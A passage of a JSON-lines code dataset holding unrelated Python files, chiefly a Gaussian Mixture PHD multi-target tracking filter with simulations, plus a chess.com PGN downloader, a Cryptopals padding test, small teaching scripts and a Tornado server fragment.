securitygrouprules='fake_rules')\n\n def test_securitygroup_delete(self):\n self._test_operator_api(\n 'securitygroup_delete', rpc_method='cast',\n host='fake_host',\n neutron_securitygroup_id='fake_neutron_securitygroup_id')\n\n def test_network_create(self):\n network = {\"network_id\": \"fake_id\"}\n self._test_operator_api('network_create',\n rpc_method='cast',\n host='fake_host',\n network=network)\n\n def test_network_delete(self):\n self._test_operator_api('network_delete', rpc_method='cast',\n host='fake_host',\n neutron_network_id='fake_neutron_network_id',\n ext_router='fake_ext_router')\n","sub_path":"rack/tests/resourceoperator/test_rpcapi.py","file_name":"test_rpcapi.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"209358647","text":"#import the scraping libs\nimport requests\nimport urllib\nfrom bs4 import BeautifulSoup\n\n#get the user details\nusername = raw_input(\"Please enter the EXACT chess.com username of the user whose games you wish to download:\")\nuserurl = \"http://www.chess.com/home/game_archive?sortby=&show=live&member=%s\"%username\n\n#get the html for the relevant page,where we'll extract the game ids using BeautifulSoup\nr = requests.get(userurl)\nsoup = BeautifulSoup(r.content)\n#list for initial BeautifulSoup extract coz I don't know how to extract them directly\ngameids = []\n\n#outputs some links like : /livechess/game?id=1004499200.Bam.We got our ids\nfor link in soup.select('a[href^=/livechess/game?id=]'):\n\tgameids.append(link['href'])\n\n#extract the actual ids into a list\nnewerids = []\nfor gameid in gameids:\n\tnewid = gameid.split(\"?id=\")[1]\n\tnewerids.append(newid)\n\n#download ze freakin games.Python wins :)\nfor newid in newerids:\n\tidnum = int(newid)\n\tfileurl = \"http://www.chess.com/echess/download_pgn?lid=%d\" %idnum\n\turllib.urlretrieve(fileurl,\"%d.pgn\" %idnum)\n","sub_path":"chessgames.py","file_name":"chessgames.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"337841170","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport numpy.linalg as lin\r\nimport time\r\nimport ospa\r\nimport pickle\r\n\r\n\r\ndef pdf_multivariate_gauss(x, mu, cov):\r\n '''\r\n Caculate the multivariate normal density (pdf)\r\n\r\n Keyword arguments:\r\n x = numpy array of a \"d x 1\" sample vector\r\n mu = numpy array of a \"d x 1\" mean vector\r\n cov = \"numpy array of a d x d\" covariance matrix\r\n '''\r\n\r\n part1 = 1 / (((2 * np.pi) ** (mu.size / 2)) * (lin.det(cov) ** 0.5))\r\n part2 = (-1 / 2) * ((x - mu) @ lin.inv(cov) @ (x - mu))\r\n return float(part1 * np.exp(part2))\r\n\r\n\r\ndef pdf_multivariate_gauss2(x, mu, detC, invC):\r\n \"\"\"\r\n\r\n :param x: numpy array of a \"d x 1\" sample vector\r\n :param mu: numpy array of a \"d x 1\" mean vector\r\n :param detC: \"numpy array of a d x d\" determinant of covariance matrix\r\n :param invC: \"numpy array of a d x d\" inversion of covariance matrix\r\n :return:\r\n \"\"\"\r\n part1 = 1 / (((2 * np.pi) ** (mu.size / 2)) * (detC ** 0.5))\r\n part2 = (-1 / 2) * ((x - mu) @ invC @ (x - mu))\r\n return float(part1 * np.exp(part2))\r\n\r\n\r\nclass GaussianMixture:\r\n def __init__(self, w, m, P):\r\n \"\"\"\r\n The Gaussian mixture\r\n :param w: list of weights (list of scalar values)\r\n :param m: list of means (list of elements type ndarray)\r\n :param P: list of covariance matrices(list of elements type ndarray)\r\n \"\"\"\r\n self.w = w\r\n self.m = m\r\n self.P = P\r\n\r\n def compute_density(self, x):\r\n my_sum = 0\r\n for i in range(len(self.w)):\r\n my_sum += self.w[i] * pdf_multivariate_gauss(x, self.m[i], self.P[i])\r\n return my_sum\r\n\r\n def copy(self):\r\n \"\"\"\r\n :return:Deep copy of object\r\n \"\"\"\r\n w = self.w.copy()\r\n m = []\r\n P = []\r\n for mean in self.m:\r\n m.append(mean.copy())\r\n for cov in self.P:\r\n P.append(cov.copy())\r\n return GaussianMixture(w, m, P)\r\n\r\n\r\nclass GMPHD:\r\n def __init__(self, model):\r\n \"\"\"\r\n The Gaussian Mixture Probability Hypothesis Density filter implementation. It's based on\r\n \"The Gaussian mixture probability hypothesis density filter\" by Vo and Ma.\r\n Note that x will be 1D ndarray.\r\n x[k] = Fx[k-1] + w[k-1]\r\n y[k] = Hx[k] + v[k]\r\n :param model: dictionary which contains the following elements(keys are strings):\r\n F: state transition matrix\r\n H:\r\n Q: process noise covariance matrix(of variable w[k]). If it's scalar, you should pass scalar\r\n R: measurement noise covariance matrix(of variable v[k]). If it's scalar, you should pass scalar\r\n p_d: probability of target detection\r\n p_s: probability of target survival\r\n\r\n Spawning model, see paper pg. 5. it's a gaussian mixture conditioned on state\r\n F_spawn: d_spawn: Q_spawn: w_spawn: lists with the same size, see pg. 5\r\n\r\n clutt_int_fun: reference to clutter intensity function, gets only one argument, which is the current measure\r\n\r\n T: U: Jmax: Pruning parameters, see pg. 7.\r\n\r\n birth_GM: The Gaussian Mixture of the birth intensity\r\n \"\"\"\r\n self.F = model['F']\r\n self.H = model['H']\r\n self.Q = model['Q']\r\n self.R = model['R']\r\n\r\n # Parameters for the spawning model: beta(x|ksi) = sum(w[i]*Normal(x,F_spawn[i]*ksi+d_spawn[i],Q_spawn[i]))\r\n self.F_spawn = model['F_spawn']\r\n self.d_spawn = model['d_spawn']\r\n self.Q_spawn = model['Q_spawn']\r\n self.w_spawn = model['w_spawn']\r\n\r\n # birth Gaussian mixture\r\n self.birth_GM = model['birth_GM']\r\n\r\n # probability of survival and detection\r\n self.p_d = model['p_d']\r\n self.p_s = model['p_s']\r\n\r\n # the reference to clutter intensity function\r\n self.clutter_intensity = model['clutt_int_fun']\r\n\r\n # pruning and merging parameters:\r\n self.T = model['T']\r\n self.U = model['U']\r\n self.Jmax = model['Jmax']\r\n\r\n # intensity function of prediction and correction. Estimated state set X for current iteration\r\n self.v_pred = None\r\n self.v_corr = GaussianMixture([], [], [])\r\n self.X = None\r\n\r\n def prediction(self):\r\n # prediction for birth targets\r\n gm = self.birth_GM.copy()\r\n w = gm.w\r\n m = gm.m\r\n P = gm.P\r\n\r\n # prediction for spawning targets\r\n for j, wspwn in enumerate(self.w_spawn):\r\n for l, wcorr in enumerate(self.v_corr.w):\r\n w.append(wspwn * wcorr)\r\n m.append(self.F_spawn[j] @ self.v_corr.m[l] + self.d_spawn[j])\r\n P.append(self.Q_spawn[j] + self.F_spawn[j] @ self.v_corr.P[l] @ self.F_spawn[j].T)\r\n\r\n # prediction for existing targets\r\n w.extend(np.array(self.v_corr.w) * self.p_s)\r\n for mean in self.v_corr.m:\r\n m.append(self.F @ mean)\r\n for Pc in self.v_corr.P:\r\n P.append(self.Q + self.F @ Pc @ self.F.T)\r\n\r\n self.v_pred = GaussianMixture(w, m, P)\r\n\r\n def correction(self, z_set):\r\n eta = []\r\n S = []\r\n detS = []\r\n invS = []\r\n K = []\r\n Pk = []\r\n for mean in self.v_pred.m:\r\n eta.append(self.H @ mean)\r\n for P1 in self.v_pred.P:\r\n s = self.R + self.H @ P1 @ self.H.T\r\n S.append(s)\r\n detS.append(lin.det(s))\r\n invS.append(lin.inv(s))\r\n K.append(P1 @ self.H.T @ invS[-1])\r\n Pk.append(P1 - K[-1] @ self.H @ P1)\r\n pm = self.v_pred.copy()\r\n w = (np.array(pm.w) * (1 - self.p_d)).tolist()\r\n m = pm.m\r\n P = pm.P\r\n for z in z_set:\r\n w1 = []\r\n for j, wpred in enumerate(self.v_pred.w):\r\n w1.append(self.p_d * wpred * pdf_multivariate_gauss2(z, eta[j], detS[j], invS[j]))\r\n m.append(self.v_pred.m[j] + K[j] @ (z - eta[j]))\r\n P.append(Pk[j].copy())\r\n w1 = np.array(w1)\r\n c1 = self.clutter_intensity(z) + w1.sum()\r\n w1 = w1 / c1\r\n w.extend(w1)\r\n self.v_corr = GaussianMixture(w, m, P)\r\n\r\n def prune(self):\r\n I = (np.array(self.v_corr.w) > self.T).nonzero()[0]\r\n w = [self.v_corr.w[i] for i in I]\r\n m = [self.v_corr.m[i] for i in I]\r\n P = [self.v_corr.P[i] for i in I]\r\n self.v_corr = GaussianMixture(w, m, P)\r\n\r\n def merge(self):\r\n w = []\r\n m = []\r\n P = []\r\n invP = []\r\n for P1 in self.v_corr.P:\r\n invP.append(lin.inv(P1))\r\n I = np.array(self.v_corr.w).nonzero()[0].tolist()\r\n while len(I) > 0:\r\n j = I[0]\r\n for i in I:\r\n if self.v_corr.w[i] > self.v_corr.w[j]:\r\n j = i\r\n L = []\r\n for i in I:\r\n if (self.v_corr.m[i] - self.v_corr.m[j]).T @ invP[i] @ (self.v_corr.m[i] - self.v_corr.m[j]) <= self.U:\r\n L.append(i)\r\n # w_new = np.array(self.v_corr.w)[L].sum()\r\n w_new = 0\r\n for i in L:\r\n w_new += self.v_corr.w[i]\r\n m_new = np.zeros(self.v_corr.m[0].shape)\r\n P_new = np.zeros(self.v_corr.P[0].shape)\r\n for i in L:\r\n m_new += self.v_corr.w[i] * self.v_corr.m[i]\r\n m_new = m_new / w_new\r\n for i in L:\r\n P_new += self.v_corr.w[i] * (\r\n self.v_corr.P[i] + np.outer(m_new - self.v_corr.m[i], m_new - self.v_corr.m[i]))\r\n P_new = P_new / w_new\r\n w.append(w_new)\r\n m.append(m_new)\r\n P.append(P_new)\r\n I = [i for i in I if i not in L]\r\n if len(w) > self.Jmax:\r\n L = np.array(w).argsort()[-self.Jmax:]\r\n w = [w[i] for i in L]\r\n m = [m[i] for i in L]\r\n P = [P[i] for i in L]\r\n self.v_corr = GaussianMixture(w, m, P)\r\n\r\n def state_extraction(self):\r\n x = []\r\n for i, wght in enumerate(self.v_corr.w):\r\n if wght > 0.5:\r\n for j in range(int(round(wght))):\r\n x.append(self.v_corr.m[i])\r\n self.X = x\r\n return x\r\n\r\n def filter(self, z_set):\r\n self.prediction()\r\n self.correction(z_set)\r\n self.prune()\r\n self.merge()\r\n x = self.state_extraction()\r\n return x\r\n\r\n def run_filter(self, data):\r\n X_collection = []\r\n for z_set in data:\r\n X_collection.append(self.filter(z_set))\r\n return X_collection\r\n\r\n\r\ndef plot_results():\r\n pass\r\n\r\n\r\ndef extract_position_collection(X_collection):\r\n X_pos = []\r\n for X_set in X_collection:\r\n x = []\r\n for state in X_set:\r\n x.append(state[0:2])\r\n X_pos.append(x)\r\n return X_pos\r\n\r\n\r\ndef clutter_intensity_function(pos, lc, surveillance_region):\r\n '''\r\n Clutter intensity function, with uniform distribution through the surveillance region, see pg. 8\r\n :param pos:\r\n :param lc:\r\n :param surveillance_region:\r\n '''\r\n if surveillance_region[0] <= pos[0] <= surveillance_region[1] and surveillance_region[2] <= pos[1] <= \\\r\n surveillance_region[3]:\r\n return lc / ((surveillance_region[1] - surveillance_region[0]) * (\r\n surveillance_region[3] - surveillance_region[2]))\r\n else:\r\n return 0\r\n\r\n\r\ndef generate_model():\r\n # This is the model for the example in \"Bayesian Multiple Target Filtering Using Random Finite Sets\" by Vo, Vo, Clark\r\n # The implementation almost analog to Matlab code provided by Vo in http://ba-tuong.vo-au.com/codes.html\r\n\r\n # surveillance region\r\n xmin = -1000\r\n xmax = 1000\r\n ymin = -1000\r\n ymax = 1000\r\n\r\n # model - model of system\r\n model = {}\r\n model['surveillance_region'] = np.array([xmin, xmax, ymin, ymax])\r\n # Sampling time\r\n delta = 1.\r\n model['delta'] = delta\r\n model['num_scans'] = 100\r\n # F = [[I2, delta*I2], [02, I2]\r\n F = np.zeros((4, 4))\r\n F[0:2, 0:2] = np.eye(2, 2)\r\n F[0:2, 2:] = np.eye(2, 2) * delta\r\n F[2:, 2:] = np.eye(2, 2)\r\n model['F'] = F\r\n\r\n sv = 5.\r\n Q = np.zeros((4, 4))\r\n Q[0:2, 0:2] = (delta ** 4) / 4 * np.eye(2, 2)\r\n Q[0:2, 2:] = (delta ** 3) / 2 * np.eye(2, 2)\r\n Q[2:, 0:2] = (delta ** 3) / 2 * np.eye(2, 2)\r\n Q[2:, 2:] = (delta ** 2) * np.eye(2, 2)\r\n Q = Q * (sv ** 2)\r\n model['Q'] = Q\r\n\r\n # Parameters for the spawning model: beta(x|ksi) = sum(w[i]*Normal(x,F_spawn[i]*ksi+d_spawn[i],Q_spawn[i]))\r\n model['F_spawn'] = []\r\n model['d_spawn'] = []\r\n model['Q_spawn'] = []\r\n model['w_spawn'] = []\r\n\r\n # probability of survival and detection\r\n model['p_d'] = 0.98\r\n model['p_s'] = 0.99\r\n\r\n w = [0.03] * 4\r\n m = [np.array([0., 0., 0., 0.]), np.array([400., -600., 0., 0.]), np.array([-800., -200., 0., 0.]),\r\n np.array([-200., 800., 0., 0.])]\r\n Ppom = np.diag([100., 100., 100., 100.])\r\n P = [Ppom.copy(), Ppom.copy(), Ppom.copy(), Ppom.copy()]\r\n model['birth_GM'] = GaussianMixture(w, m, P)\r\n\r\n model['H'] = np.zeros((2, 4))\r\n model['H'][:, 0:2] = np.eye(2)\r\n se = 10 # m\r\n model['R'] = np.eye(2) * (se ** 2)\r\n\r\n # the reference to clutter intensity function\r\n model['lc'] = 50\r\n model['clutt_int_fun'] = lambda z: clutter_intensity_function(z, model['lc'], model['surveillance_region'])\r\n\r\n # pruning and merging parameters:\r\n model['T'] = 1e-5\r\n model['U'] = 4.\r\n model['Jmax'] = 100\r\n\r\n return model\r\n\r\n\r\ndef generate_model2():\r\n # This is the model for the example in \"The Gaussian mixture probability hypothesis density filter\" by Vo and Ma.\r\n\r\n # surveillance region\r\n xmin = -1000\r\n xmax = 1000\r\n ymin = -1000\r\n ymax = 1000\r\n\r\n # model - model of system\r\n model = {}\r\n model['surveillance_region'] = np.array([xmin, xmax, ymin, ymax])\r\n # Sampling time\r\n delta = 1.\r\n model['delta'] = delta\r\n model['num_scans'] = 100\r\n # F = [[I2, delta*I2], [02, I2]\r\n F = np.zeros((4, 4))\r\n F[0:2, 0:2] = np.eye(2, 2)\r\n F[0:2, 2:] = np.eye(2, 2) * delta\r\n F[2:, 2:] = np.eye(2, 2)\r\n model['F'] = F\r\n\r\n sv = 5.\r\n Q = np.zeros((4, 4))\r\n Q[0:2, 0:2] = (delta ** 4) / 4 * np.eye(2, 2)\r\n Q[0:2, 2:] = (delta ** 3) / 2 * np.eye(2, 2)\r\n Q[2:, 0:2] = (delta ** 3) / 2 * np.eye(2, 2)\r\n Q[2:, 2:] = (delta ** 2) * np.eye(2, 2)\r\n Q = Q * (sv ** 2)\r\n model['Q'] = Q\r\n\r\n # Parameters for the spawning model: beta(x|ksi) = sum(w[i]*Normal(x,F_spawn[i]*ksi+d_spawn[i],Q_spawn[i]))\r\n model['F_spawn'] = [np.eye(4)]\r\n model['d_spawn'] = [np.zeros(4)]\r\n model['Q_spawn'] = [np.diag([100., 100, 400, 400])]\r\n model['w_spawn'] = [0.05]\r\n\r\n # probability of survival and detection\r\n model['p_d'] = 0.98\r\n model['p_s'] = 0.99\r\n\r\n # these are parameters for the example from GMPHD paper\r\n w = [0.1, 0.1]\r\n m = [np.array([250., 250., 0., 0.]), np.array([-250., -250., 0., 0.])]\r\n P = [np.diag([100., 100, 25, 25]), np.diag([100., 100, 25, 25])]\r\n\r\n model['birth_GM'] = GaussianMixture(w, m, P)\r\n\r\n model['H'] = np.zeros((2, 4))\r\n model['H'][:, 0:2] = np.eye(2)\r\n se = 10 # m\r\n model['R'] = np.eye(2) * (se ** 2)\r\n\r\n # the reference to clutter intensity function\r\n model['lc'] = 50\r\n model['clutt_int_fun'] = lambda z: clutter_intensity_function(z, model['lc'], model['surveillance_region'])\r\n\r\n # pruning and merging parameters:\r\n model['T'] = 1e-5\r\n model['U'] = 4.\r\n model['Jmax'] = 100\r\n\r\n return model\r\n\r\n\r\ndef example1(num_of_scans=100):\r\n targets_birth_time = [1, 1, 1, 20, 20, 20, 40, 40, 60, 60, 80, 80]\r\n targets_birth_time = (np.array(targets_birth_time) - 1).tolist()\r\n targets_death_time = [70, num_of_scans, 70, num_of_scans, num_of_scans, num_of_scans,\r\n num_of_scans, num_of_scans, num_of_scans, num_of_scans, num_of_scans,\r\n num_of_scans]\r\n targets_start = [np.array([0., 0., 0., -10.]),\r\n np.array([400., -600., -10., 5.]),\r\n np.array([-800., -200., 20., -5.]),\r\n\r\n np.array([400., -600., -7., -4.]),\r\n np.array([400., -600., -2.5, 10.]),\r\n np.array([0., 0., 7.5, -5.]),\r\n\r\n np.array([-800., -200., 12., 7.]),\r\n np.array([-200., 800., 15., -10.]),\r\n\r\n np.array([-800., -200., 3., 15.]),\r\n np.array([-200., 800., -3., -15.]),\r\n\r\n np.array([0., 0., -20., -15.]),\r\n np.array([-200., 800., 15., -5.])]\r\n return targets_birth_time, targets_death_time, targets_start\r\n\r\n\r\ndef example2(num_of_scans=100):\r\n targets_birth_time = [1, 1]\r\n targets_birth_time = (np.array(targets_birth_time) - 1).tolist()\r\n targets_death_time = [num_of_scans, num_of_scans]\r\n targets_start = [np.array([250., 250., 2.5, -11.5]),\r\n np.array([-250., -250., 11.5, -2.5])]\r\n # for spawning targets, there is birth time, death time, initial velocity and target from which it spawns\r\n targets_spw_time_brttgt_vel = [(66, num_of_scans, np.array([-20., 4.]), 0)]\r\n\r\n return targets_birth_time, targets_death_time, targets_start, targets_spw_time_brttgt_vel\r\n\r\n\r\ndef generate_trajectories(model, targets_birth_time, targets_death_time, targets_start, targets_spw_time_brttgt_vel=[],\r\n noise=False):\r\n num_of_scans = model['num_scans']\r\n trajectories = []\r\n for i in range(num_of_scans):\r\n trajectories.append([])\r\n targets_tracks = {}\r\n for i, start in enumerate(targets_start):\r\n target_state = start\r\n targets_tracks[i] = []\r\n for k in range(targets_birth_time[i], min(targets_death_time[i], num_of_scans)):\r\n target_state = model['F'] @ target_state\r\n if noise:\r\n target_state += np.random.multivariate_normal(np.zeros(target_state.size), model['Q'])\r\n if target_state[0] < model['surveillance_region'][0] or target_state[0] > model['surveillance_region'][1] or \\\r\n target_state[1] < model['surveillance_region'][2] or target_state[1] > model['surveillance_region'][\r\n 3]:\r\n targets_death_time[i] = k - 1\r\n break\r\n trajectories[k].append(target_state)\r\n targets_tracks[i].append(target_state)\r\n # next part is only for spawning targets. In examples, this part is often omitted.\r\n for i, item in enumerate(targets_spw_time_brttgt_vel):\r\n (target_birth_time, target_death_time, velocity, parent) = item\r\n target_state = np.zeros(4)\r\n if target_birth_time - targets_birth_time[parent] < 0 or target_death_time - targets_death_time[parent] > 0:\r\n continue\r\n target_state[0:2] = targets_tracks[parent][target_birth_time - targets_birth_time[parent]][0:2]\r\n target_state[2:] = velocity\r\n targets_birth_time.append(target_birth_time)\r\n targets_death_time.append(target_death_time)\r\n targets_start.append(target_state)\r\n # trajectories.append([])\r\n targets_tracks[len(targets_birth_time) - 1] = []\r\n for k in range(target_birth_time, min(target_death_time, num_of_scans)):\r\n target_state = model['F'] @ target_state\r\n if noise:\r\n target_state += np.random.multivariate_normal(np.zeros(target_state.size), model['Q'])\r\n if target_state[0] < model['surveillance_region'][0] or target_state[0] > model['surveillance_region'][1] or \\\r\n target_state[1] < model['surveillance_region'][2] or target_state[1] > model['surveillance_region'][\r\n 3]:\r\n targets_death_time[-1] = k - 1\r\n break\r\n trajectories[k].append(target_state)\r\n targets_tracks[len(targets_birth_time) - 1].append(target_state)\r\n return trajectories, targets_tracks\r\n\r\n\r\ndef generate_measurements(model, trajectories):\r\n data = []\r\n surveillanceRegion = model['surveillance_region']\r\n for X in trajectories:\r\n m = []\r\n for state in X:\r\n if np.random.rand() <= model['p_d']:\r\n meas = model['H'] @ state + np.random.multivariate_normal(np.zeros(model['H'].shape[0]), model['R'])\r\n m.append(meas)\r\n for i in range(np.random.poisson(model['lc'])):\r\n x = (surveillanceRegion[1] - surveillanceRegion[0]) * np.random.rand() + surveillanceRegion[0]\r\n y = (surveillanceRegion[3] - surveillanceRegion[2]) * np.random.rand() + surveillanceRegion[2]\r\n m.append(np.array([x, y]))\r\n data.append(m)\r\n return data\r\n\r\n\r\ndef true_tracks_plots(targets_birth_time, targets_death_time, targets_tracks, delta):\r\n for_plot = {}\r\n for i, birth in enumerate(targets_birth_time):\r\n brojac = birth\r\n x = []\r\n y = []\r\n time = []\r\n for state in targets_tracks[i]:\r\n x.append(state[0])\r\n y.append(state[1])\r\n time.append(brojac)\r\n brojac += delta\r\n for_plot[i] = (time, x, y)\r\n return for_plot\r\n\r\n\r\ndef sets_collection_for_plot(X_collection, delta):\r\n time = []\r\n x = []\r\n y = []\r\n k = 0\r\n for X in X_collection:\r\n for state in X:\r\n x.append(state[0])\r\n y.append(state[1])\r\n time.append(k)\r\n k += delta\r\n return time, x, y\r\n\r\n\r\ndef MC_run():\r\n # parameters for OSPA metric\r\n c = 100.\r\n p = 1\r\n\r\n model = generate_model()\r\n targets_birth_time, targets_death_time, targets_start = example1(100)\r\n trajectories, targets_tracks = generate_trajectories(model, targets_birth_time, targets_death_time, targets_start,\r\n noise=False)\r\n truth_collection = extract_position_collection(trajectories)\r\n\r\n osp_all_total = []\r\n osp_loc_total = []\r\n osp_card_total = []\r\n tnum_total = []\r\n for i in range(500):\r\n a = time.time()\r\n data = generate_measurements(model, trajectories)\r\n gmphd = GMPHD(model)\r\n X_collection = gmphd.run_filter(data)\r\n X_pos = extract_position_collection(X_collection)\r\n ospa_loc = []\r\n ospa_card = []\r\n ospa_all = []\r\n tnum = []\r\n for j, x_set in enumerate(X_pos):\r\n oall, oloc, ocard = ospa.ospa_all(truth_collection[j], x_set, c, p)\r\n ospa_all.append(oall)\r\n ospa_loc.append(oloc)\r\n ospa_card.append(ocard)\r\n tnum.append(len(x_set))\r\n osp_all_total.append(ospa_all)\r\n osp_loc_total.append(ospa_loc)\r\n osp_card_total.append(ospa_card)\r\n tnum_total.append(tnum)\r\n print('Iteration ' + str(i) + ', total time: ' + str(time.time() - a))\r\n\r\n with open('MC2ospatnum500.pkl', 'wb') as output:\r\n pickle.dump((osp_all_total, osp_loc_total, osp_card_total, tnum_total), output)\r\n\r\n ospall = np.array(osp_all_total)\r\n ospAllMean = ospall.mean(0)\r\n osploc = np.array(osp_loc_total)\r\n ospLocMean = osploc.mean(0)\r\n ospcar = np.array(osp_card_total)\r\n ospCarMean = ospcar.mean(0)\r\n tnum = np.array(tnum_total)\r\n tnumMean = tnum.mean(0)\r\n tnumStd = tnum.std(0)\r\n\r\n plt.figure()\r\n plt.plot(ospAllMean)\r\n\r\n plt.figure()\r\n plt.plot(ospLocMean)\r\n\r\n plt.figure()\r\n plt.plot(ospCarMean)\r\n\r\n plt.figure()\r\n plt.plot(tnumMean)\r\n plt.plot(tnumMean - tnumStd)\r\n plt.plot(tnumMean + tnumStd)\r\n\r\n\r\nif __name__ == '__main__':\r\n model = generate_model()\r\n targets_birth_time, targets_death_time, targets_start = example1(100)\r\n trajectories, targets_tracks = generate_trajectories(model, targets_birth_time, targets_death_time, targets_start,\r\n noise=False)\r\n # model = generate_model2()\r\n # targets_birth_time, targets_death_time, targets_start, targets_spw_time_brttgt_vel = example2(100)\r\n # trajectories, targets_tracks = generate_trajectories(model, targets_birth_time, targets_death_time, targets_start,\r\n # targets_spw_time_brttgt_vel, noise=False)\r\n data = generate_measurements(model, trajectories)\r\n gmphd = GMPHD(model)\r\n a = time.time()\r\n X_collection = gmphd.run_filter(data)\r\n print('Filtration time: ' + str(time.time() - a) + ' sec')\r\n\r\n # plot trajectories\r\n tracks_plot = true_tracks_plots(targets_birth_time, targets_death_time, targets_tracks, model['delta'])\r\n plt.figure()\r\n for key in tracks_plot:\r\n t, x, y = tracks_plot[key]\r\n plt.plot(x[0], y[0], 'o', c='k', mfc='none')\r\n plt.plot(x[-1], y[-1], 's', c='k', mfc='none')\r\n plt.plot(x, y)\r\n plt.axis(model['surveillance_region'])\r\n plt.gca().set_aspect('equal', adjustable='box')\r\n plt.xlabel('x')\r\n plt.ylabel('y')\r\n\r\n # plot measurements, true trajectories and estimations\r\n meas_time, meas_x, meas_y = sets_collection_for_plot(data, model['delta'])\r\n estim_time, estim_x, estim_y = sets_collection_for_plot(X_collection, model['delta'])\r\n plt.figure()\r\n plt.plot(meas_time, meas_x, 'x', c='C0')\r\n for key in tracks_plot:\r\n t, x, y = tracks_plot[key]\r\n plt.plot(t, x, 'r')\r\n plt.plot(estim_time, estim_x, 'o', c='k', markersize=3)\r\n\r\n # plot measurements, true trajectories and estimations\r\n plt.figure()\r\n plt.plot(meas_time, meas_y, 'x', c='C0')\r\n for key in tracks_plot:\r\n t, x, y = tracks_plot[key]\r\n plt.plot(t, y, 'r')\r\n plt.plot(estim_time, estim_y, 'o', c='k', markersize=3)\r\n\r\n # MC_run()\r\n\r\n num_targets_truth = []\r\n num_targets_estimated = []\r\n\r\n for x_set in trajectories:\r\n num_targets_truth.append(len(x_set))\r\n for x_set in X_collection:\r\n num_targets_estimated.append(len(x_set))\r\n\r\n plt.figure()\r\n (markerline, stemlines, baseline) = plt.stem(num_targets_estimated, label='estimated number of targets')\r\n plt.setp(baseline, color='k') # visible=False)\r\n plt.setp(stemlines, visible=False) # visible=False)\r\n plt.setp(markerline, markersize=3.0)\r\n plt.step(num_targets_truth, 'r', label='actual number of targets')\r\n plt.xlabel('time($sec$)')\r\n plt.legend()\r\n plt.title('Estimated cardinality VS actual cardinality')","sub_path":"gmphd.py","file_name":"gmphd.py","file_ext":"py","file_size_in_byte":24549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"147688026","text":"\"\"\"\nTests to verify success on the Cryptopals challenges\nhttps://cryptopals.com/\n\nWARNING: This test file contains *SPOILERS*. Some Cryptopals tests leave the\nsolution open-ended (e.g., find the string in this file that decrypts to\nEnglish) and the tests were written after the correct solution (e.g., the\nEnglish string to be identified) was determined.\n\"\"\"\n\nimport unittest\n\nimport s2c9\n\n\nclass CryptoPalsTestCase(unittest.TestCase):\n def test_s2c9(self):\n self.assertEqual(\n s2c9.pkcs_pad(20, b'YELLOW SUBMARINE'),\n b'YELLOW SUBMARINE\\x04\\x04\\x04\\x04'\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"s2_tests.py","file_name":"s2_tests.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"77967261","text":"#python 3\r\n#题目:输入某年某月某日,判断这一天是这一年的第几天?\r\n\r\nmonths = [31,28,31,30,31,30,31,31,30,31,30,31]\r\n\r\nyear = input(\"Enter the year(such as: 1955)\")\r\nmonth = input(\"Enter the moth(such as: 5 for may)\")\r\nday = input(\"Enter the day(such as: 3 for day)\")\r\n\r\n\r\nleapYear = 0\r\nif int(year)%4==0 and int(year)%100!=0:\r\n leapYear+=1\r\nelse:\r\n if int(year)%400==0:\r\n leapYear+=1\r\n\r\nmonthDay = months[:(int(month)-1)]\r\n\r\ndays = sum(monthDay)+leapYear + int(day)\r\nprint (\"the day is no.\",days,\"days in this year\")\r\n","sub_path":"no004.py","file_name":"no004.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"74787257","text":"import json\n#\nquest = { \"quests\":[\"сколько лет\",\n \"сколкьо милионов\",\n \"где живешь\"],\n \"answer\" : [[1,2,3],\n [100,200,300],\n [\"odessa\",\"kiev\",\"lviv\"]\n ]\n }\n\nto_json = {'test': quest}\n\n\nwith open('tests1.json', 'w') as f:\n json.dump(to_json, f,sort_keys=True, indent=3,ensure_ascii=False )\n\nwith open('tests1.json') as f:\n kek = f.read()\n print(kek)\n\n\n\n# import json\n#\n# with open('tests1.json') as f:\n# templates = json.load(f)\n#\n# print(templates)\n# for x in templates[\"quests\"][\"quest1\"]:\n# print(x)\n# for x in range(len(templates[\"quests\"]['answer'])):\n# kek = templates[\"quests\"]['answer'][x]\n# print(kek[0],kek[1],kek[2])\n# # print(\"{1}\\n{2}\\n{3}\".format(kek[0],kek[1],kek[2]) )\n# for x in templates[\"quests\"]['answer'][0]:\n# print(x)\n\n# for section, commands in templates.items():\n# print(section)\n# print('\\n'.join(commands))\n","sub_path":"json_exxample.py","file_name":"json_exxample.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"158991733","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#\n# @author liuklein\n#\n\"\"\" 服务器封装,处理各服务器初始化、重启等\n 基于 gevent 处理并发\n gevent.wsgi\n\"\"\"\n\n# import tornado.httpserver\n# import tornado.web\nimport tornado.wsgi\nimport gevent.wsgi\nimport yaml\nimport logging\nimport os\nimport signal\n\nfrom tornado.options import define, options\nfrom utils import YamlLoader\n\ndefine(\"address\", default='127.0.0.1', help=\"绑定指定地址\", type=str)\ndefine(\"port\", default=8888, help=\"绑定指定端口\", type=int)\ndefine(\"debug\", default=False, help=\"是否开启Debug模式\", type=bool)\ndefine(\"autoreload\", default=False, help=\"代码变化的时候是否自动加载代码\", type=bool)\ndefine(\"config\", default=\"settings.yaml\", help=\"配置文件路径\", type=str)\n\nclass Application(tornado.wsgi.WSGIApplication):\n\n def __init__(self, handlers, extra_settings={}):\n try:\n self.config = yaml.load(open(options.config, 'r'), YamlLoader)\n # print(self.config)\n except yaml.YAMLError as e:\n print(\"Error in configuration file: %s\" %options.config)\n logging.critical(\"Error in configuration file: %s\", e)\n\n settings = dict(\n login_url=\"/welcome\",\n cookie_secret=self.config['secret']['cookie'],\n session_secret=self.config['secret']['session'],\n static_path=os.path.join(os.path.dirname(__file__), 'static'),\n template_path=os.path.join(os.path.dirname(__file__), 'template'),\n 